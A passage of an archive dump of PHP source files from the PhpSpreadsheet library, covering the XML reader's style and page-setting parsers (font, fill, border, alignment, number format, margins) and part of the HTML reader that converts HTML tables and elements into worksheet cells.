(isset($styleAttributes['Protected'])) { $locked = ((bool) (string) $styleAttributes['Protected']) ? Protection::PROTECTION_PROTECTED : Protection::PROTECTION_UNPROTECTED; } if (isset($styleAttributesP['HideFormula'])) { $hidden = ((bool) (string) $styleAttributesP['HideFormula']) ? Protection::PROTECTION_PROTECTED : Protection::PROTECTION_UNPROTECTED; } if ($locked !== null || $hidden !== null) { $protection['protection'] = []; if ($locked !== null) { $protection['protection']['locked'] = $locked; } if ($hidden !== null) { $protection['protection']['hidden'] = $hidden; } } break; } } $this->styles[$styleID] = array_merge($alignment, $border, $font, $fill, $numberFormat, $protection); } return $this->styles; } private static function getAttributes(?SimpleXMLElement $simple, string $node): SimpleXMLElement { return ($simple === null) ? new SimpleXMLElement('<xml></xml>') : ($simple->attributes($node) ?? new SimpleXMLElement('<xml></xml>')); } private static function getSxml(?SimpleXMLElement $simple): SimpleXMLElement { return ($simple !== null) ? $simple : new SimpleXMLElement('<xml></xml>'); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/PageSettings.php000064400000012115151676714400022317 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use SimpleXMLElement; use stdClass; class PageSettings { private stdClass $printSettings; public function __construct(SimpleXMLElement $xmlX) { $printSettings = $this->pageSetup($xmlX, $this->getPrintDefaults()); $this->printSettings = $this->printSetup($xmlX, $printSettings); } public function loadPageSettings(Spreadsheet $spreadsheet): void { $spreadsheet->getActiveSheet()->getPageSetup() ->setPaperSize($this->printSettings->paperSize) ->setOrientation($this->printSettings->orientation) ->setScale($this->printSettings->scale) ->setVerticalCentered($this->printSettings->verticalCentered) ->setHorizontalCentered($this->printSettings->horizontalCentered) ->setPageOrder($this->printSettings->printOrder); $spreadsheet->getActiveSheet()->getPageMargins() ->setTop($this->printSettings->topMargin) ->setHeader($this->printSettings->headerMargin) ->setLeft($this->printSettings->leftMargin) ->setRight($this->printSettings->rightMargin) ->setBottom($this->printSettings->bottomMargin) ->setFooter($this->printSettings->footerMargin); } private function getPrintDefaults(): stdClass { return (object) [ 'paperSize' => 9, 'orientation' => PageSetup::ORIENTATION_DEFAULT, 'scale' => 100, 'horizontalCentered' => false, 'verticalCentered' => false, 'printOrder' => PageSetup::PAGEORDER_DOWN_THEN_OVER, 'topMargin' => 0.75, 'headerMargin' => 0.3, 'leftMargin' => 0.7, 'rightMargin' => 0.7, 'bottomMargin' => 0.75, 'footerMargin' => 0.3, ]; } private function pageSetup(SimpleXMLElement $xmlX, stdClass $printDefaults): stdClass { if (isset($xmlX->WorksheetOptions->PageSetup)) { foreach ($xmlX->WorksheetOptions->PageSetup as $pageSetupData) { foreach ($pageSetupData as $pageSetupKey => $pageSetupValue) { $pageSetupAttributes = $pageSetupValue->attributes(Namespaces::URN_EXCEL); if ($pageSetupAttributes !== null) { switch ($pageSetupKey) { case 'Layout': $this->setLayout($printDefaults, $pageSetupAttributes); break; case 'Header': $printDefaults->headerMargin = (float) $pageSetupAttributes->Margin ?: 1.0; break; case 'Footer': $printDefaults->footerMargin = (float) $pageSetupAttributes->Margin ?: 1.0; break; case 'PageMargins': $this->setMargins($printDefaults, $pageSetupAttributes); break; } } } } } return $printDefaults; } private function printSetup(SimpleXMLElement $xmlX, stdClass $printDefaults): stdClass { if (isset($xmlX->WorksheetOptions->Print)) { foreach ($xmlX->WorksheetOptions->Print as $printData) { foreach ($printData as $printKey => $printValue) { switch ($printKey) { case 'LeftToRight': $printDefaults->printOrder = PageSetup::PAGEORDER_OVER_THEN_DOWN; break; case 'PaperSizeIndex': $printDefaults->paperSize = (int) $printValue ?: 9; break; case 'Scale': $printDefaults->scale = (int) $printValue ?: 100; break; } } } } return $printDefaults; } private function setLayout(stdClass $printDefaults, SimpleXMLElement $pageSetupAttributes): void { $printDefaults->orientation = (string) strtolower($pageSetupAttributes->Orientation ?? '') ?: PageSetup::ORIENTATION_PORTRAIT; $printDefaults->horizontalCentered = (bool) $pageSetupAttributes->CenterHorizontal ?: false; $printDefaults->verticalCentered = (bool) $pageSetupAttributes->CenterVertical ?: false; } private function setMargins(stdClass $printDefaults, SimpleXMLElement $pageSetupAttributes): void { $printDefaults->leftMargin = (float) $pageSetupAttributes->Left ?: 1.0; $printDefaults->rightMargin = (float) $pageSetupAttributes->Right ?: 1.0; $printDefaults->topMargin = (float) $pageSetupAttributes->Top ?: 1.0; $printDefaults->bottomMargin = (float) $pageSetupAttributes->Bottom ?: 1.0; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/Style/Font.php000064400000004532151676714400021734 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml\Style; use PhpOffice\PhpSpreadsheet\Style\Font as FontUnderline; use SimpleXMLElement; class Font extends StyleBase { protected const UNDERLINE_STYLES = [ FontUnderline::UNDERLINE_NONE, FontUnderline::UNDERLINE_DOUBLE, FontUnderline::UNDERLINE_DOUBLEACCOUNTING, FontUnderline::UNDERLINE_SINGLE, FontUnderline::UNDERLINE_SINGLEACCOUNTING, ]; protected function parseUnderline(array $style, string $styleAttributeValue): array { if (self::identifyFixedStyleValue(self::UNDERLINE_STYLES, $styleAttributeValue)) { $style['font']['underline'] = $styleAttributeValue; } return $style; } protected function parseVerticalAlign(array $style, string $styleAttributeValue): array { if ($styleAttributeValue == 'Superscript') { $style['font']['superscript'] = true; } if ($styleAttributeValue == 'Subscript') { $style['font']['subscript'] = true; } return $style; } public function parseStyle(SimpleXMLElement $styleAttributes): array { $style = []; foreach ($styleAttributes as $styleAttributeKey => $styleAttributeValue) { $styleAttributeValue = (string) $styleAttributeValue; switch ($styleAttributeKey) { case 'FontName': $style['font']['name'] = $styleAttributeValue; break; case 'Size': $style['font']['size'] = $styleAttributeValue; break; case 'Color': $style['font']['color']['rgb'] = substr($styleAttributeValue, 1); break; case 'Bold': $style['font']['bold'] = $styleAttributeValue === '1'; break; case 'Italic': $style['font']['italic'] = $styleAttributeValue === '1'; break; case 'Underline': $style = $this->parseUnderline($style, $styleAttributeValue); break; case 'VerticalAlign': $style = $this->parseVerticalAlign($style, $styleAttributeValue); break; } } return $style; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/Style/StyleBase.php000064400000001525151676714400022720 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml\Style; use SimpleXMLElement; abstract class StyleBase { protected static function identifyFixedStyleValue(array $styleList, string &$styleAttributeValue): bool { $returnValue = false; $styleAttributeValue = strtolower($styleAttributeValue); foreach ($styleList as $style) { if ($styleAttributeValue == strtolower($style)) { $styleAttributeValue = $style; $returnValue = true; break; } } return $returnValue; } protected static function getAttributes(?SimpleXMLElement $simple, string $node): SimpleXMLElement { return ($simple === null) ? new SimpleXMLElement('<xml></xml>') : ($simple->attributes($node) ?? new SimpleXMLElement('<xml></xml>')); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/Style/NumberFormat.php000064400000001500151676714400023417 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml\Style; use SimpleXMLElement; class NumberFormat extends StyleBase { public function parseStyle(SimpleXMLElement $styleAttributes): array { $style = []; $fromFormats = ['\-', '\ ']; $toFormats = ['-', ' ']; foreach ($styleAttributes as $styleAttributeKey => $styleAttributeValue) { $styleAttributeValue = str_replace($fromFormats, $toFormats, $styleAttributeValue); switch ($styleAttributeValue) { case 'Short Date': $styleAttributeValue = 'dd/mm/yyyy'; break; } if ($styleAttributeValue > '') { $style['numberFormat']['formatCode'] = $styleAttributeValue; } } return $style; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/Style/Fill.php000064400000005207151676714400021714 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml\Style; use PhpOffice\PhpSpreadsheet\Style\Fill as FillStyles; use SimpleXMLElement; class Fill extends StyleBase { /** * @var array */ public const FILL_MAPPINGS = [ 'fillType' => [ 'solid' => FillStyles::FILL_SOLID, 'gray75' => FillStyles::FILL_PATTERN_DARKGRAY, 'gray50' => FillStyles::FILL_PATTERN_MEDIUMGRAY, 'gray25' => FillStyles::FILL_PATTERN_LIGHTGRAY, 'gray125' => FillStyles::FILL_PATTERN_GRAY125, 'gray0625' => FillStyles::FILL_PATTERN_GRAY0625, 'horzstripe' => FillStyles::FILL_PATTERN_DARKHORIZONTAL, // horizontal stripe 'vertstripe' => FillStyles::FILL_PATTERN_DARKVERTICAL, // vertical stripe 'reversediagstripe' => FillStyles::FILL_PATTERN_DARKUP, // reverse diagonal stripe 'diagstripe' => FillStyles::FILL_PATTERN_DARKDOWN, // diagonal stripe 'diagcross' => FillStyles::FILL_PATTERN_DARKGRID, // diagoanl crosshatch 'thickdiagcross' => FillStyles::FILL_PATTERN_DARKTRELLIS, // thick diagonal crosshatch 'thinhorzstripe' => FillStyles::FILL_PATTERN_LIGHTHORIZONTAL, 'thinvertstripe' => FillStyles::FILL_PATTERN_LIGHTVERTICAL, 'thinreversediagstripe' => FillStyles::FILL_PATTERN_LIGHTUP, 'thindiagstripe' => FillStyles::FILL_PATTERN_LIGHTDOWN, 'thinhorzcross' => FillStyles::FILL_PATTERN_LIGHTGRID, // thin horizontal crosshatch 'thindiagcross' => FillStyles::FILL_PATTERN_LIGHTTRELLIS, // thin diagonal crosshatch ], ]; public function parseStyle(SimpleXMLElement $styleAttributes): array { $style = []; foreach ($styleAttributes as $styleAttributeKey => $styleAttributeValuex) { $styleAttributeValue = (string) $styleAttributeValuex; switch ($styleAttributeKey) { case 'Color': $style['fill']['endColor']['rgb'] = substr($styleAttributeValue, 1); $style['fill']['startColor']['rgb'] = substr($styleAttributeValue, 1); break; case 'PatternColor': $style['fill']['startColor']['rgb'] = substr($styleAttributeValue, 1); break; case 'Pattern': $lcStyleAttributeValue = strtolower((string) $styleAttributeValue); $style['fill']['fillType'] = self::FILL_MAPPINGS['fillType'][$lcStyleAttributeValue] ?? FillStyles::FILL_NONE; break; } } return $style; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/Style/Alignment.php000064400000003563151676714400022747 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml\Style; use PhpOffice\PhpSpreadsheet\Style\Alignment as AlignmentStyles; use SimpleXMLElement; class Alignment extends StyleBase { protected const VERTICAL_ALIGNMENT_STYLES = [ AlignmentStyles::VERTICAL_BOTTOM, AlignmentStyles::VERTICAL_TOP, AlignmentStyles::VERTICAL_CENTER, AlignmentStyles::VERTICAL_JUSTIFY, ]; protected const HORIZONTAL_ALIGNMENT_STYLES = [ AlignmentStyles::HORIZONTAL_GENERAL, AlignmentStyles::HORIZONTAL_LEFT, AlignmentStyles::HORIZONTAL_RIGHT, AlignmentStyles::HORIZONTAL_CENTER, AlignmentStyles::HORIZONTAL_CENTER_CONTINUOUS, AlignmentStyles::HORIZONTAL_JUSTIFY, ]; public function parseStyle(SimpleXMLElement $styleAttributes): array { $style = []; foreach ($styleAttributes as $styleAttributeKey => $styleAttributeValue) { $styleAttributeValue = (string) $styleAttributeValue; switch ($styleAttributeKey) { case 'Vertical': if (self::identifyFixedStyleValue(self::VERTICAL_ALIGNMENT_STYLES, $styleAttributeValue)) { $style['alignment']['vertical'] = $styleAttributeValue; } break; case 'Horizontal': if (self::identifyFixedStyleValue(self::HORIZONTAL_ALIGNMENT_STYLES, $styleAttributeValue)) { $style['alignment']['horizontal'] = $styleAttributeValue; } break; case 'WrapText': $style['alignment']['wrapText'] = true; break; case 'Rotate': $style['alignment']['textRotation'] = $styleAttributeValue; break; } } return $style; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/Style/Border.php000064400000010441151676714400022237 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml\Style; use PhpOffice\PhpSpreadsheet\Style\Border as BorderStyle; use PhpOffice\PhpSpreadsheet\Style\Borders; use SimpleXMLElement; class Border extends StyleBase { protected const BORDER_POSITIONS = [ 'top', 'left', 'bottom', 'right', ]; /** * @var array */ public const BORDER_MAPPINGS = [ 'borderStyle' => [ 'continuous' => BorderStyle::BORDER_HAIR, 'dash' => BorderStyle::BORDER_DASHED, 'dashdot' => BorderStyle::BORDER_DASHDOT, 'dashdotdot' => BorderStyle::BORDER_DASHDOTDOT, 'dot' => BorderStyle::BORDER_DOTTED, 'double' => BorderStyle::BORDER_DOUBLE, '0continuous' => BorderStyle::BORDER_HAIR, '0dash' => BorderStyle::BORDER_DASHED, '0dashdot' => BorderStyle::BORDER_DASHDOT, '0dashdotdot' => BorderStyle::BORDER_DASHDOTDOT, '0dot' => BorderStyle::BORDER_DOTTED, '0double' => BorderStyle::BORDER_DOUBLE, '1continuous' => BorderStyle::BORDER_THIN, '1dash' => BorderStyle::BORDER_DASHED, '1dashdot' => BorderStyle::BORDER_DASHDOT, '1dashdotdot' => BorderStyle::BORDER_DASHDOTDOT, '1dot' => BorderStyle::BORDER_DOTTED, '1double' => BorderStyle::BORDER_DOUBLE, '2continuous' => BorderStyle::BORDER_MEDIUM, '2dash' => BorderStyle::BORDER_MEDIUMDASHED, '2dashdot' => BorderStyle::BORDER_MEDIUMDASHDOT, '2dashdotdot' => BorderStyle::BORDER_MEDIUMDASHDOTDOT, '2dot' => BorderStyle::BORDER_DOTTED, '2double' => BorderStyle::BORDER_DOUBLE, '3continuous' => BorderStyle::BORDER_THICK, '3dash' => BorderStyle::BORDER_MEDIUMDASHED, '3dashdot' => BorderStyle::BORDER_MEDIUMDASHDOT, '3dashdotdot' => BorderStyle::BORDER_MEDIUMDASHDOTDOT, '3dot' => BorderStyle::BORDER_DOTTED, '3double' => BorderStyle::BORDER_DOUBLE, ], ]; public function parseStyle(SimpleXMLElement $styleData, array $namespaces): array { $style = []; $diagonalDirection = ''; $borderPosition = ''; foreach ($styleData->Border as $borderStyle) { $borderAttributes = self::getAttributes($borderStyle, $namespaces['ss']); $thisBorder = []; $styleType = (string) $borderAttributes->Weight; $styleType .= strtolower((string) $borderAttributes->LineStyle); $thisBorder['borderStyle'] = self::BORDER_MAPPINGS['borderStyle'][$styleType] ?? BorderStyle::BORDER_NONE; foreach ($borderAttributes as $borderStyleKey => $borderStyleValuex) { $borderStyleValue = (string) $borderStyleValuex; switch ($borderStyleKey) { case 'Position': [$borderPosition, $diagonalDirection] = $this->parsePosition($borderStyleValue, $diagonalDirection); break; case 'Color': $borderColour = substr($borderStyleValue, 1); $thisBorder['color']['rgb'] = $borderColour; break; } } if ($borderPosition) { $style['borders'][$borderPosition] = $thisBorder; } elseif ($diagonalDirection) { $style['borders']['diagonalDirection'] = $diagonalDirection; $style['borders']['diagonal'] = $thisBorder; } } return $style; } protected function parsePosition(string $borderStyleValue, string $diagonalDirection): array { $borderStyleValue = strtolower($borderStyleValue); if (in_array($borderStyleValue, self::BORDER_POSITIONS)) { $borderPosition = $borderStyleValue; } elseif ($borderStyleValue === 'diagonalleft') { $diagonalDirection = $diagonalDirection ? Borders::DIAGONAL_BOTH : Borders::DIAGONAL_DOWN; } elseif ($borderStyleValue === 'diagonalright') { $diagonalDirection = $diagonalDirection ? Borders::DIAGONAL_BOTH : Borders::DIAGONAL_UP; } return [$borderPosition ?? null, $diagonalDirection]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Html.php000064400000120061151676714400020066 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use DOMDocument; use DOMElement; use DOMNode; use DOMText; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Document\Properties; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; use PhpOffice\PhpSpreadsheet\Helper\Dimension as CssDimension; use PhpOffice\PhpSpreadsheet\Helper\Html as HelperHtml; use PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Color; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\Font; use PhpOffice\PhpSpreadsheet\Style\Style; use PhpOffice\PhpSpreadsheet\Worksheet\Drawing; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use Throwable; class Html extends BaseReader { /** * Sample size to read to determine if it's HTML or not. */ const TEST_SAMPLE_SIZE = 2048; private const STARTS_WITH_BOM = '/^(?:\xfe\xff|\xff\xfe|\xEF\xBB\xBF)/'; private const DECLARES_CHARSET = '/ charset=/i'; /** * Input encoding. */ protected string $inputEncoding = 'ANSI'; /** * Sheet index to read. */ protected int $sheetIndex = 0; /** * Formats. */ protected array $formats = [ 'h1' => [ 'font' => [ 'bold' => true, 'size' => 24, ], ], // Bold, 24pt 'h2' => [ 'font' => [ 'bold' => true, 'size' => 18, ], ], // Bold, 18pt 'h3' => [ 'font' => [ 'bold' => true, 'size' => 13.5, ], ], // Bold, 13.5pt 'h4' => [ 'font' => [ 'bold' => true, 'size' => 12, ], ], // Bold, 12pt 'h5' => [ 'font' => [ 'bold' => true, 'size' => 10, ], ], // Bold, 10pt 'h6' => [ 'font' => [ 'bold' => true, 'size' => 7.5, ], ], // Bold, 7.5pt 'a' => [ 'font' => [ 'underline' => true, 'color' => [ 'argb' => Color::COLOR_BLUE, ], ], ], // Blue underlined 'hr' => [ 'borders' => [ 'bottom' => [ 'borderStyle' => Border::BORDER_THIN, 'color' => [ Color::COLOR_BLACK, ], ], ], ], // Bottom border 'strong' => [ 'font' => [ 'bold' => true, ], ], // Bold 'b' => [ 'font' => [ 'bold' => true, ], ], // Bold 'i' => [ 'font' => [ 'italic' => true, ], ], // Italic 'em' => [ 'font' => [ 'italic' => true, ], ], // Italic ]; protected array $rowspan = []; /** * Create a new HTML Reader instance. */ public function __construct() { parent::__construct(); $this->securityScanner = XmlScanner::getInstance($this); } /** * Validate that the current file is an HTML file. */ public function canRead(string $filename): bool { // Check if file exists try { $this->openFile($filename); } catch (Exception) { return false; } $beginning = $this->readBeginning(); if (preg_match(self::STARTS_WITH_BOM, $beginning)) { return true; } $startWithTag = self::startsWithTag($beginning); $containsTags = self::containsTags($beginning); $endsWithTag = self::endsWithTag($this->readEnding()); fclose($this->fileHandle); return $startWithTag && $containsTags && $endsWithTag; } private function readBeginning(): string { fseek($this->fileHandle, 0); return (string) fread($this->fileHandle, self::TEST_SAMPLE_SIZE); } private function readEnding(): string { $meta = stream_get_meta_data($this->fileHandle); $filename = $meta['uri']; $size = (int) filesize($filename); if ($size === 0) { return ''; } $blockSize = self::TEST_SAMPLE_SIZE; if ($size < $blockSize) { $blockSize = $size; } fseek($this->fileHandle, $size - $blockSize); return (string) fread($this->fileHandle, $blockSize); } private static function startsWithTag(string $data): bool { return str_starts_with(trim($data), '<'); } private static function endsWithTag(string $data): bool { return str_ends_with(trim($data), '>'); } private static function containsTags(string $data): bool { return strlen($data) !== strlen(strip_tags($data)); } /** * Loads Spreadsheet from file. */ public function loadSpreadsheetFromFile(string $filename): Spreadsheet { // Create new Spreadsheet $spreadsheet = new Spreadsheet(); // Load into this instance return $this->loadIntoExisting($filename, $spreadsheet); } // Data Array used for testing only, should write to Spreadsheet object on completion of tests protected array $dataArray = []; protected int $tableLevel = 0; protected array $nestedColumn = ['A']; protected function setTableStartColumn(string $column): string { if ($this->tableLevel == 0) { $column = 'A'; } ++$this->tableLevel; $this->nestedColumn[$this->tableLevel] = $column; return $this->nestedColumn[$this->tableLevel]; } protected function getTableStartColumn(): string { return $this->nestedColumn[$this->tableLevel]; } protected function releaseTableStartColumn(): string { --$this->tableLevel; return array_pop($this->nestedColumn); } /** * Flush cell. */ protected function flushCell(Worksheet $sheet, string $column, int|string $row, mixed &$cellContent, array $attributeArray): void { if (is_string($cellContent)) { // Simple String content if (trim($cellContent) > '') { // Only actually write it if there's content in the string // Write to worksheet to be done here... // ... we return the cell, so we can mess about with styles more easily // Set cell value explicitly if there is data-type attribute if (isset($attributeArray['data-type'])) { $datatype = $attributeArray['data-type']; if (in_array($datatype, [DataType::TYPE_STRING, DataType::TYPE_STRING2, DataType::TYPE_INLINE])) { //Prevent to Excel treat string with beginning equal sign or convert big numbers to scientific number if (str_starts_with($cellContent, '=')) { $sheet->getCell($column . $row) ->getStyle() ->setQuotePrefix(true); } } //catching the Exception and ignoring the invalid data types try { $sheet->setCellValueExplicit($column . $row, $cellContent, $attributeArray['data-type']); } catch (SpreadsheetException) { $sheet->setCellValue($column . $row, $cellContent); } } else { $sheet->setCellValue($column . $row, $cellContent); } $this->dataArray[$row][$column] = $cellContent; } } else { // We have a Rich Text run // TODO $this->dataArray[$row][$column] = 'RICH TEXT: ' . $cellContent; } $cellContent = (string) ''; } private function processDomElementBody(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child): void { $attributeArray = []; foreach ($child->attributes as $attribute) { $attributeArray[$attribute->name] = $attribute->value; } if ($child->nodeName === 'body') { $row = 1; $column = 'A'; $cellContent = ''; $this->tableLevel = 0; $this->processDomElement($child, $sheet, $row, $column, $cellContent); } else { $this->processDomElementTitle($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private function processDomElementTitle(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if ($child->nodeName === 'title') { $this->processDomElement($child, $sheet, $row, $column, $cellContent); try { $sheet->setTitle($cellContent, true, true); } catch (SpreadsheetException) { // leave default title if too long or illegal chars } $cellContent = ''; } else { $this->processDomElementSpanEtc($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private const SPAN_ETC = ['span', 'div', 'font', 'i', 'em', 'strong', 'b']; private function processDomElementSpanEtc(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if (in_array((string) $child->nodeName, self::SPAN_ETC, true)) { if (isset($attributeArray['class']) && $attributeArray['class'] === 'comment') { $sheet->getComment($column . $row) ->getText() ->createTextRun($child->textContent); } else { $this->processDomElement($child, $sheet, $row, $column, $cellContent); } if (isset($this->formats[$child->nodeName])) { $sheet->getStyle($column . $row)->applyFromArray($this->formats[$child->nodeName]); } } else { $this->processDomElementHr($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private function processDomElementHr(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if ($child->nodeName === 'hr') { $this->flushCell($sheet, $column, $row, $cellContent, $attributeArray); ++$row; if (isset($this->formats[$child->nodeName])) { $sheet->getStyle($column . $row)->applyFromArray($this->formats[$child->nodeName]); } ++$row; } // fall through to br $this->processDomElementBr($sheet, $row, $column, $cellContent, $child, $attributeArray); } private function processDomElementBr(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if ($child->nodeName === 'br' || $child->nodeName === 'hr') { if ($this->tableLevel > 0) { // If we're inside a table, replace with a newline and set the cell to wrap $cellContent .= "\n"; $sheet->getStyle($column . $row)->getAlignment()->setWrapText(true); } else { // Otherwise flush our existing content and move the row cursor on $this->flushCell($sheet, $column, $row, $cellContent, $attributeArray); ++$row; } } else { $this->processDomElementA($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private function processDomElementA(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if ($child->nodeName === 'a') { foreach ($attributeArray as $attributeName => $attributeValue) { switch ($attributeName) { case 'href': $sheet->getCell($column . $row)->getHyperlink()->setUrl($attributeValue); if (isset($this->formats[$child->nodeName])) { $sheet->getStyle($column . $row)->applyFromArray($this->formats[$child->nodeName]); } break; case 'class': if ($attributeValue === 'comment-indicator') { break; // Ignore - it's just a red square. } } } // no idea why this should be needed //$cellContent .= ' '; $this->processDomElement($child, $sheet, $row, $column, $cellContent); } else { $this->processDomElementH1Etc($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private const H1_ETC = ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ol', 'ul', 'p']; private function processDomElementH1Etc(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if (in_array((string) $child->nodeName, self::H1_ETC, true)) { if ($this->tableLevel > 0) { // If we're inside a table, replace with a newline $cellContent .= $cellContent ? "\n" : ''; $sheet->getStyle($column . $row)->getAlignment()->setWrapText(true); $this->processDomElement($child, $sheet, $row, $column, $cellContent); } else { if ($cellContent > '') { $this->flushCell($sheet, $column, $row, $cellContent, $attributeArray); ++$row; } $this->processDomElement($child, $sheet, $row, $column, $cellContent); $this->flushCell($sheet, $column, $row, $cellContent, $attributeArray); if (isset($this->formats[$child->nodeName])) { $sheet->getStyle($column . $row)->applyFromArray($this->formats[$child->nodeName]); } ++$row; $column = 'A'; } } else { $this->processDomElementLi($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private function processDomElementLi(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if ($child->nodeName === 'li') { if ($this->tableLevel > 0) { // If we're inside a table, replace with a newline $cellContent .= $cellContent ? "\n" : ''; $this->processDomElement($child, $sheet, $row, $column, $cellContent); } else { if ($cellContent > '') { $this->flushCell($sheet, $column, $row, $cellContent, $attributeArray); } ++$row; $this->processDomElement($child, $sheet, $row, $column, $cellContent); $this->flushCell($sheet, $column, $row, $cellContent, $attributeArray); $column = 'A'; } } else { $this->processDomElementImg($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private function processDomElementImg(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if ($child->nodeName === 'img') { $this->insertImage($sheet, $column, $row, $attributeArray); } else { $this->processDomElementTable($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private string $currentColumn = 'A'; private function processDomElementTable(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if ($child->nodeName === 'table') { $this->currentColumn = 'A'; $this->flushCell($sheet, $column, $row, $cellContent, $attributeArray); $column = $this->setTableStartColumn($column); if ($this->tableLevel > 1 && $row > 1) { --$row; } $this->processDomElement($child, $sheet, $row, $column, $cellContent); $column = $this->releaseTableStartColumn(); if ($this->tableLevel > 1) { ++$column; } else { ++$row; } } else { $this->processDomElementTr($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private function processDomElementTr(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if ($child->nodeName === 'col') { $this->applyInlineStyle($sheet, -1, $this->currentColumn, $attributeArray); ++$this->currentColumn; } elseif ($child->nodeName === 'tr') { $column = $this->getTableStartColumn(); $cellContent = ''; $this->processDomElement($child, $sheet, $row, $column, $cellContent); if (isset($attributeArray['height'])) { $sheet->getRowDimension($row)->setRowHeight($attributeArray['height']); } ++$row; } else { $this->processDomElementThTdOther($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private function processDomElementThTdOther(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { if ($child->nodeName !== 'td' && $child->nodeName !== 'th') { $this->processDomElement($child, $sheet, $row, $column, $cellContent); } else { $this->processDomElementThTd($sheet, $row, $column, $cellContent, $child, $attributeArray); } } private function processDomElementBgcolor(Worksheet $sheet, int $row, string $column, array $attributeArray): void { if (isset($attributeArray['bgcolor'])) { $sheet->getStyle("$column$row")->applyFromArray( [ 'fill' => [ 'fillType' => Fill::FILL_SOLID, 'color' => ['rgb' => $this->getStyleColor($attributeArray['bgcolor'])], ], ] ); } } private function processDomElementWidth(Worksheet $sheet, string $column, array $attributeArray): void { if (isset($attributeArray['width'])) { $sheet->getColumnDimension($column)->setWidth((new CssDimension($attributeArray['width']))->width()); } } private function processDomElementHeight(Worksheet $sheet, int $row, array $attributeArray): void { if (isset($attributeArray['height'])) { $sheet->getRowDimension($row)->setRowHeight((new CssDimension($attributeArray['height']))->height()); } } private function processDomElementAlign(Worksheet $sheet, int $row, string $column, array $attributeArray): void { if (isset($attributeArray['align'])) { $sheet->getStyle($column . $row)->getAlignment()->setHorizontal($attributeArray['align']); } } private function processDomElementVAlign(Worksheet $sheet, int $row, string $column, array $attributeArray): void { if (isset($attributeArray['valign'])) { $sheet->getStyle($column . $row)->getAlignment()->setVertical($attributeArray['valign']); } } private function processDomElementDataFormat(Worksheet $sheet, int $row, string $column, array $attributeArray): void { if (isset($attributeArray['data-format'])) { $sheet->getStyle($column . $row)->getNumberFormat()->setFormatCode($attributeArray['data-format']); } } private function processDomElementThTd(Worksheet $sheet, int &$row, string &$column, string &$cellContent, DOMElement $child, array &$attributeArray): void { while (isset($this->rowspan[$column . $row])) { ++$column; } $this->processDomElement($child, $sheet, $row, $column, $cellContent); // apply inline style $this->applyInlineStyle($sheet, $row, $column, $attributeArray); $this->flushCell($sheet, $column, $row, $cellContent, $attributeArray); $this->processDomElementBgcolor($sheet, $row, $column, $attributeArray); $this->processDomElementWidth($sheet, $column, $attributeArray); $this->processDomElementHeight($sheet, $row, $attributeArray); $this->processDomElementAlign($sheet, $row, $column, $attributeArray); $this->processDomElementVAlign($sheet, $row, $column, $attributeArray); $this->processDomElementDataFormat($sheet, $row, $column, $attributeArray); if (isset($attributeArray['rowspan'], $attributeArray['colspan'])) { //create merging rowspan and colspan $columnTo = $column; for ($i = 0; $i < (int) $attributeArray['colspan'] - 1; ++$i) { ++$columnTo; } $range = $column . $row . ':' . $columnTo . ($row + (int) $attributeArray['rowspan'] - 1); foreach (Coordinate::extractAllCellReferencesInRange($range) as $value) { $this->rowspan[$value] = true; } 